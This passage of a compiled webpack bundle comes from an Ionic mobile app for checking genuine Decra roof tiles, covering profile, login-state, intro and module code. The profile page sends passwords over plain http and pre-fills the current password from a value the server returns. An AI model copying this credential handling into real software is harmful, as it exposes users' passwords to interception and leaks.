\n <ion-list no-lines>\n \n <ion-item>\n <ion-input [(ngModel)]="value" #username mask="R*****-******" placeholder="Production Code" required></ion-input>\n </ion-item>\n <ion-row>\n <ion-col>\n <p style="text-align:center"wa>Enter first 11 digits that follows R</p>\n <button ion-button full class="submit-button" type="submit" (click)="verify()"><ion-icon name="qr-scanner"></ion-icon>&nbsp;&nbsp;Verify Genuine Decra</button>\n\n </ion-col>\n </ion-row> \n\n <br>\n <ion-row>\n <ion-col>\n <img src="assets/imgs/bot.jpg"/>\n <p style="text-align:center"><strong>Check the production code on the back of one of your tiles</strong></p>\n </ion-col>\n </ion-row> \n </ion-list> \n\n</ion-content>'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/user/user.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_2__core_user_service__["a" /* UserService */], __WEBPACK_IMPORTED_MODULE_4__core_auth_service__["a" /* AuthService */], __WEBPACK_IMPORTED_MODULE_3__angular_forms__["a" /* FormBuilder */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_6__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], UserPage); return UserPage; }()); //# sourceMappingURL=user.js.map /***/ }), /***/ 358: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return UserService; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_rxjs_add_operator_toPromise__ = __webpack_require__(142); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_rxjs_add_operator_toPromise___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1_rxjs_add_operator_toPromise__); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_firebase_app__ = __webpack_require__(159); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_firebase_app___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_2_firebase_app__); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__user_model__ = __webpack_require__(359); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; var UserService = (function () { function UserService() { } UserService.prototype.getCurrentUser = function () { return new Promise(function (resolve, reject) { __WEBPACK_IMPORTED_MODULE_2_firebase_app__["auth"]().onAuthStateChanged(function (user) { var userModel = new __WEBPACK_IMPORTED_MODULE_3__user_model__["a" /* FirebaseUserModel */](); if (user) { if (user.providerData[0].providerId == 'password') { //use a default image userModel.image = 'http://dsi-vd.github.io/patternlab-vd/images/fpo_avatar.png'; userModel.name = user.displayName; userModel.provider = user.providerData[0].providerId; return resolve(userModel); } else { userModel.image = user.photoURL; userModel.name = user.displayName; userModel.provider = user.providerData[0].providerId; return resolve(userModel); } } else { reject('No user logged in'); } }); }); }; UserService = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["A" /* Injectable */])(), __metadata("design:paramtypes", []) ], UserService); return UserService; }()); //# sourceMappingURL=user.service.js.map /***/ }), /***/ 359: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return FirebaseUserModel; }); var FirebaseUserModel = (function () { function FirebaseUserModel() { this.image = ""; this.name = ""; this.provider = ""; } return FirebaseUserModel; }()); //# sourceMappingURL=user.model.js.map /***/ }), /***/ 360: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return ProfilePage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__angular_forms__ = __webpack_require__(16); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_rxjs_add_operator_map__ = __webpack_require__(39); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4_rxjs_add_operator_map___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_4_rxjs_add_operator_map__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; /** * Generated class for the ProfilePage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var ProfilePage = (function () { function ProfilePage(navCtrl, alertCtrl, navParams, http, loading) { this.navCtrl = navCtrl; this.alertCtrl = alertCtrl; this.navParams = navParams; this.http = http; this.loading = loading; this.data = {}; } ProfilePage.prototype.ionViewWillLoad = function () { var _this = this; var headers = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["d" /* RequestOptions */]({ headers: headers }); var loader = this.loading.create({ content: 'Recovering details, please wait...', }); //var link = this.baseURI + "manage-data.php"; var body = JSON.stringify({ testname: localStorage.getItem('storedData') }); //alert("DATA: "+body); loader.present().then(function () { return _this.http.post('http://rooftg-afme.com/fetch_data.php', body, options) .map(function (res) { return res.json(); }) .subscribe(function (res) { loader.dismiss(); _this.items = res.server_response; //console.log("DATA received:", body); } //err => { //console.log("ERROR!: ", err); // alert(err); ); }); }; ProfilePage.prototype.signIn = function () { //// check to confirm the username and password fields are filled var _this = this; if (this.fullname.value == "") { var alert_1 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Full Name field is empty", buttons: ['OK'] }); alert_1.present(); } else if (this.password.value == "") { var alert_2 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "Password field is empty", buttons: ['OK'] }); alert_2.present(); } else if (this.newpassword.value != this.confirmpassword.value) { var alert_3 = this.alertCtrl.create({ title: "ATTENTION", subTitle: "New Passwords do not match", buttons: ['OK'] }); alert_3.present(); } else { var headers = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["a" /* Headers */](); headers.append("Accept", 'application/json'); headers.append('Content-Type', 'application/json'); var options_1 = new __WEBPACK_IMPORTED_MODULE_3__angular_http__["d" /* RequestOptions */]({ headers: headers }); var data_1 = { fullname: this.fullname.value, email: this.email.value, telephone: this.telephone.value, password: this.password.value, newpassword: this.newpassword.value, confirmpassword: this.confirmpassword.value, }; var loader_1 = this.loading.create({ content: 'Updating details, please wait...', }); loader_1.present().then(function () { _this.http.post('http://rooftg-afme.com/update.php', data_1, options_1) .map(function (res) { return res.json(); }) .subscribe(function (res) { console.log(res); loader_1.dismiss(); if (res == "Your Login success") { var alert_4 = _this.alertCtrl.create({ title: "Your Account has been updated", buttons: ['OK'] }); alert_4.present(); //this.navCtrl.push(LoginPage, data); } else { var alert_5 = _this.alertCtrl.create({ title: "ERROR", subTitle: "Sorry, Service is not available. Try Later!", buttons: ['OK'] }); alert_5.present(); } }); }); } }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])('userForm'), __metadata("design:type", __WEBPACK_IMPORTED_MODULE_2__angular_forms__["f" /* NgForm */]) ], ProfilePage.prototype, "form", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("fullname"), __metadata("design:type", Object) ], ProfilePage.prototype, "fullname", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("password"), __metadata("design:type", Object) ], ProfilePage.prototype, "password", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("newpassword"), __metadata("design:type", Object) ], ProfilePage.prototype, "newpassword", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("confirmpassword"), __metadata("design:type", Object) ], ProfilePage.prototype, "confirmpassword", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("email"), __metadata("design:type", Object) ], ProfilePage.prototype, "email", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("fulladdress"), __metadata("design:type", Object) ], ProfilePage.prototype, "fulladdress", void 0); __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])("telephone"), __metadata("design:type", Object) ], ProfilePage.prototype, "telephone", void 0); ProfilePage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-profile',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/profile/profile.html"*/'<ion-header>\n <ion-navbar>\n <ion-title>User Profile</ion-title>\n </ion-navbar>\n</ion-header>\n\n\n\n<ion-content padding class="master-class">\n <ion-list no-lines>\n\n <ion-item *ngFor="let item of items" >\n\n\n <ion-item>\n <ion-input round type="text" placeholder="Full Name" name="fullname" value="{{item.username}}" #fullname></ion-input>\n </ion-item >\n\n <ion-item>\n <ion-input round type="password" placeholder="Current Password" name="password" value="{{item.password}}" #password></ion-input>\n </ion-item >\n\n <ion-item>\n <ion-input round type="password" placeholder="Set New Password" name="currentpassword" #newpassword></ion-input>\n </ion-item >\n\n <ion-item>\n <ion-input round type="password" placeholder="Confirm New Password" name="currentpassword" #confirmpassword></ion-input>\n </ion-item >\n\n <ion-item>\n <ion-input round type="email" placeholder="Email address" name="email" value="{{item.email}}" #email disabled></ion-input>\n </ion-item >\n\n <ion-item>\n <ion-input round type="number" placeholder="Phone number" name="telephone" value="{{item.telephone}}" #telephone>></ion-input>\n </ion-item >\n\n\n </ion-item>\n <button ion-button full type="submit" class="loginBtn submit-button" (click)="signIn()"><ion-icon name="person"></ion-icon>&nbsp;&nbsp;Update Account Details</button>\n</ion-list>\n</ion-content>\n\n\n\n\n\n\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/profile/profile.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["i" /* NavParams */], __WEBPACK_IMPORTED_MODULE_3__angular_http__["b" /* Http */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */]]) ], ProfilePage); return ProfilePage; }()); //# sourceMappingURL=profile.js.map /***/ }), /***/ 361: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return SignoutPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__login_login__ = __webpack_require__(46); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__tabs_tabs__ = __webpack_require__(67); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; //import { Storage } from '@ionic/storage'; /** * Generated class for the SignoutPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var SignoutPage = (function () { function SignoutPage(navCtrl, alertCtrl, navParams, app) { var _this = this; this.navCtrl = navCtrl; this.alertCtrl = alertCtrl; this.navParams = navParams; this.app = app; var alert = this.alertCtrl.create({ title: 'Confirm', subTitle: "Are you sure you want to sign out?", buttons: [ { text: 'Yes', handler: function () { _this.account = window.localStorage.removeItem('storedData'); _this.app.getRootNav().setRoot(__WEBPACK_IMPORTED_MODULE_2__login_login__["a" /* LoginPage */]); } }, { text: 'No', handler: function () { _this.app.getRootNav().setRoot(__WEBPACK_IMPORTED_MODULE_3__tabs_tabs__["a" /* TabsPage */]); } } ] }); alert.present(); } SignoutPage.prototype.ionViewDidLoad = function () { console.log('ionViewDidLoad SignoutPage'); }; SignoutPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-signout',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/signout/signout.html"*/'<!--\n Generated template for the SignoutPage page.\n\n See http://ionicframework.com/docs/components/#navigation for more info on\n Ionic pages and navigation.\n-->\n<ion-content padding>\n\n</ion-content>\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/signout/signout.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["a" /* AlertController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["i" /* NavParams */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["b" /* App */]]) ], SignoutPage); return SignoutPage; }()); //# sourceMappingURL=signout.js.map /***/ }), /***/ 362: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return IntroPage; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__ionic_native_status_bar__ = __webpack_require__(140); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__ionic_native_splash_screen__ = __webpack_require__(138); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__ionic_storage__ = __webpack_require__(141); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__login_login__ = __webpack_require__(46); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; /** * Generated class for the IntroPage page. * * See https://ionicframework.com/docs/components/#navigation for more info on * Ionic pages and navigation. */ var IntroPage = (function () { function IntroPage(navCtrl, platform, statusBar, SplashScreen, loadingCtrl, storage) { this.navCtrl = navCtrl; this.platform = platform; this.loadingCtrl = loadingCtrl; this.storage = storage; } IntroPage.prototype.goToHome = function () { //this.navCtrl.setRoot(LoginPage); var _this = this; this.storage.get('introShown').then(function (result) { if (result) { _this.nav.setRoot(__WEBPACK_IMPORTED_MODULE_5__login_login__["a" /* LoginPage */]); //this.rootPage = 'IntroPage'; //this.navCtrl.push(LoginPage); //this.nav.push(LoginPage); } else { _this.storage.set('introShown', true); _this.navCtrl.setRoot(__WEBPACK_IMPORTED_MODULE_5__login_login__["a" /* LoginPage */]); //this.navCtrl.push(IntroPage); //this.rootPage = 'IntroPage'; } }); }; __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["_8" /* ViewChild */])(__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["g" /* Nav */]), __metadata("design:type", Object) ], IntroPage.prototype, "nav", void 0); IntroPage = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_0__angular_core__["m" /* Component */])({ selector: 'page-intro',template:/*ion-inline-start:"/Users/zeeshan/Desktop/DecraApp/src/pages/intro/intro.html"*/'<ion-content >\n\n <ion-slides autoplay="3000" loop="true" speed="300" pager="true">\n\n <ion-slide style="background-image: url(assets/imgs/bg-decra.jpg)">\n <ion-row>\n <ion-col>\n <img src="assets/imgs/logo.png"/>\n <p>Make sure your stone coated roof tiles are</p>\n <img src="assets/imgs/text.png" style="margin:0; padding:0">\n </ion-col>\n </ion-row>\n <ion-row>\n <ion-col>\n <img src="assets/imgs/genuine-decra.png"/>\n </ion-col>\n </ion-row> \n </ion-slide>\n\n <ion-slide style="background-image: url(assets/imgs/bg-decra.jpg)">\n <ion-row>\n <ion-col>\n <img src="assets/imgs/logo.png"/>\n <h3><strong>STEP 1</strong></h3>\n <p>Check that the Decra logo is printed on the back of the tile</p>\n </ion-col>\n </ion-row>\n <ion-row>\n <ion-col>\n <img src="assets/imgs/tile-verify.png"/>\n </ion-col>\n </ion-row>\n </ion-slide>\n\n <ion-slide style="background-image: url(assets/imgs/bg-decra.jpg)">\n <ion-row>\n <ion-col>\n <img src="assets/imgs/logo.png"/>\n <h3><strong>STEP 2</strong></h3>\n <p>Locate the production code on the back of one of your tiles</p>\n </ion-col>\n </ion-row>\n <ion-row>\n <ion-col>\n <img src="assets/imgs/tile.png" style="width: 50%; height: auto;"/>\n </ion-col>\n </ion-row>\n </ion-slide>\n \n <ion-slide style="background-image: url(assets/imgs/bg-decra.jpg)">\n <ion-row>\n <ion-col>\n <img src="assets/imgs/logo.png"/>\n <h3><strong>STEP 3</strong></h3>\n <p>Enter the unique production code</p> \n </ion-col>\n </ion-row>\n <ion-row>\n <ion-col>\n <img src="assets/imgs/verification-code.png"/>\n </ion-col>\n </ion-row>\n </ion-slide>\n\n <ion-slide style="background-image: url(assets/imgs/bg-decra.jpg)">\n <ion-row>\n <ion-col>\n <img src="assets/imgs/logo.png"/>\n <h3><strong>RESULT</strong></h3>\n <p>This App will tell you that your Decra<sup>&reg;</sup> is Genuine or Fake</p> \n </ion-col>\n </ion-row>\n <ion-row>\n <ion-col>\n <img src="assets/imgs/genuine-fake.png"/>\n </ion-col>\n </ion-row>\n </ion-slide>\n \n </ion-slides>\n \n <button ion-button expand="full" class="decra-button" (click)="goToHome()">SKIP</button>\n\n</ion-content >\n'/*ion-inline-end:"/Users/zeeshan/Desktop/DecraApp/src/pages/intro/intro.html"*/, }), __metadata("design:paramtypes", [__WEBPACK_IMPORTED_MODULE_1_ionic_angular__["h" /* NavController */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["j" /* Platform */], __WEBPACK_IMPORTED_MODULE_2__ionic_native_status_bar__["a" /* StatusBar */], __WEBPACK_IMPORTED_MODULE_3__ionic_native_splash_screen__["a" /* SplashScreen */], __WEBPACK_IMPORTED_MODULE_1_ionic_angular__["f" /* LoadingController */], __WEBPACK_IMPORTED_MODULE_4__ionic_storage__["b" /* Storage */]]) ], IntroPage); return IntroPage; }()); //# sourceMappingURL=intro.js.map /***/ }), /***/ 363: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; Object.defineProperty(__webpack_exports__, "__esModule", { value: true }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_platform_browser_dynamic__ = __webpack_require__(364); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__app_module__ = __webpack_require__(368); Object(__WEBPACK_IMPORTED_MODULE_0__angular_platform_browser_dynamic__["a" /* platformBrowserDynamic */])().bootstrapModule(__WEBPACK_IMPORTED_MODULE_1__app_module__["a" /* AppModule */]); //# sourceMappingURL=main.js.map /***/ }), /***/ 368: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return AppModule; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_platform_browser__ = __webpack_require__(43); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__ionic_native_splash_screen__ = __webpack_require__(138); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__ionic_native_status_bar__ = __webpack_require__(140); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__app_component__ = __webpack_require__(411); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__pages_signout_signout__ = __webpack_require__(361); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7__pages_register_register__ = __webpack_require__(260); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8__pages_user_user__ = __webpack_require__(357); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_9__pages_profile_profile__ = __webpack_require__(360); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_10__pages_contact_contact__ = __webpack_require__(356); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_11__pages_forget_forget__ = __webpack_require__(160); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_12__pages_tabs_tabs__ = __webpack_require__(67); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_13__pages_recover_recover__ = __webpack_require__(355); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_14__pages_verification_verification__ = __webpack_require__(703); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_15__pages_login_login__ = __webpack_require__(46); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_16__pages_intro_intro__ = __webpack_require__(362); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_17__angular_http__ = __webpack_require__(40); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_18__pages_core_auth_service__ = __webpack_require__(48); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_19__pages_core_user_service__ = __webpack_require__(358); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_20_angularfire2__ = __webpack_require__(353); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_21_angularfire2_auth__ = __webpack_require__(261); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_22__environment_environment__ = __webpack_require__(704); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_23__ionic_storage__ = __webpack_require__(141); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_24__mask__ = __webpack_require__(705); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; //import { SplashPage } from '../pages/splash/splash'; var AppModule = (function () { function AppModule() { } AppModule = __decorate([ Object(__WEBPACK_IMPORTED_MODULE_1__angular_core__["I" /* NgModule */])({ declarations: [ __WEBPACK_IMPORTED_MODULE_5__app_component__["a" /* MyApp */], __WEBPACK_IMPORTED_MODULE_7__pages_register_register__["a" /* RegisterPage */], __WEBPACK_IMPORTED_MODULE_8__pages_user_user__["a" /* UserPage */], __WEBPACK_IMPORTED_MODULE_9__pages_profile_profile__["a" /* ProfilePage */], __WEBPACK_IMPORTED_MODULE_10__pages_contact_contact__["a" /* ContactPage */], //SplashPage, __WEBPACK_IMPORTED_MODULE_6__pages_signout_signout__["a" /* SignoutPage */], __WEBPACK_IMPORTED_MODULE_12__pages_tabs_tabs__["a" /* TabsPage */], __WEBPACK_IMPORTED_MODULE_11__pages_forget_forget__["a" /* ForgetPage */], __WEBPACK_IMPORTED_MODULE_13__pages_recover_recover__["a" /* RecoverPage */], __WEBPACK_IMPORTED_MODULE_14__pages_verification_verification__["a" /* VerificationPage */], __WEBPACK_IMPORTED_MODULE_24__mask__["a" /* Mask */], __WEBPACK_IMPORTED_MODULE_15__pages_login_login__["a" /* LoginPage */], __WEBPACK_IMPORTED_MODULE_16__pages_intro_intro__["a" /* IntroPage */], ], imports: [ __WEBPACK_IMPORTED_MODULE_0__angular_platform_browser__["a" /* BrowserModule */], __WEBPACK_IMPORTED_MODULE_2_ionic_angular__["e" /* IonicModule */].forRoot(__WEBPACK_IMPORTED_MODULE_5__app_component__["a" /* MyApp */], {}, { links: [] }), __WEBPACK_IMPORTED_MODULE_20_angularfire2__["a" /* AngularFireModule */].initializeApp(__WEBPACK_IMPORTED_MODULE_22__environment_environment__["a" /* environment */].firebase), __WEBPACK_IMPORTED_MODULE_21_angularfire2_auth__["b" /* AngularFireAuthModule */], __WEBPACK_IMPORTED_MODULE_17__angular_http__["c" /* HttpModule */], __WEBPACK_IMPORTED_MODULE_23__ionic_storage__["a" /* IonicStorageModule */].forRoot() ], bootstrap: [__WEBPACK_IMPORTED_MODULE_2_ionic_angular__["c" /* IonicApp */]], entryComponents: [ __WEBPACK_IMPORTED_MODULE_5__app_component__["a" /* MyApp */], __WEBPACK_IMPORTED_MODULE_7__pages_register_register__["a" /* RegisterPage */], __WEBPACK_IMPORTED_MODULE_8__pages_user_user__["a" /* UserPage */], __WEBPACK_IMPORTED_MODULE_9__pages_profile_profile__["a" /* ProfilePage */], __WEBPACK_IMPORTED_MODULE_10__pages_contact_contact__["a" /* ContactPage */], //SplashPage, __WEBPACK_IMPORTED_MODULE_6__pages_signout_signout__["a" /* SignoutPage */], __WEBPACK_IMPORTED_MODULE_12__pages_tabs_tabs__["a" /* TabsPage */], __WEBPACK_IMPORTED_MODULE_13__pages_recover_recover__["a" /* RecoverPage */], __WEBPACK_IMPORTED_MODULE_11__pages_forget_forget__["a" /* ForgetPage */], __WEBPACK_IMPORTED_MODULE_14__pages_verification_verification__["a" /* VerificationPage */], __WEBPACK_IMPORTED_MODULE_15__pages_login_login__["a" /* LoginPage */], __WEBPACK_IMPORTED_MODULE_16__pages_intro_intro__["a" /* IntroPage */], ], providers: [ __WEBPACK_IMPORTED_MODULE_4__ionic_native_status_bar__["a" /* StatusBar */], __WEBPACK_IMPORTED_MODULE_3__ionic_native_splash_screen__["a" /* SplashScreen */], __WEBPACK_IMPORTED_MODULE_18__pages_core_auth_service__["a" /* AuthService */], __WEBPACK_IMPORTED_MODULE_19__pages_core_user_service__["a" /* UserService */], { provide: __WEBPACK_IMPORTED_MODULE_1__angular_core__["u" /* ErrorHandler */], useClass: __WEBPACK_IMPORTED_MODULE_2_ionic_angular__["d" /* IonicErrorHandler */] }, __WEBPACK_IMPORTED_MODULE_2_ionic_angular__["g" /* Nav */], ] }) ], AppModule); return AppModule; }()); //# sourceMappingURL=app.module.js.map /***/ }), /***/ 411: /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; /* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "a", function() { return MyApp; }); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_0__angular_core__ = __webpack_require__(1); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_1_ionic_angular__ = __webpack_require__(22); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_2__ionic_native_status_bar__ = __webpack_require__(140); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_3__ionic_native_splash_screen__ = __webpack_require__(138); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_4__ionic_storage__ = __webpack_require__(141); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_5__pages_login_login__ = __webpack_require__(46); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_6__pages_intro_intro__ = __webpack_require__(362); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_7__pages_tabs_tabs__ = __webpack_require__(67); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8_rxjs_observable_timer__ = __webpack_require__(146); /* harmony import */ var __WEBPACK_IMPORTED_MODULE_8_rxjs_observable_timer___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_8_rxjs_observable_timer__); var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, 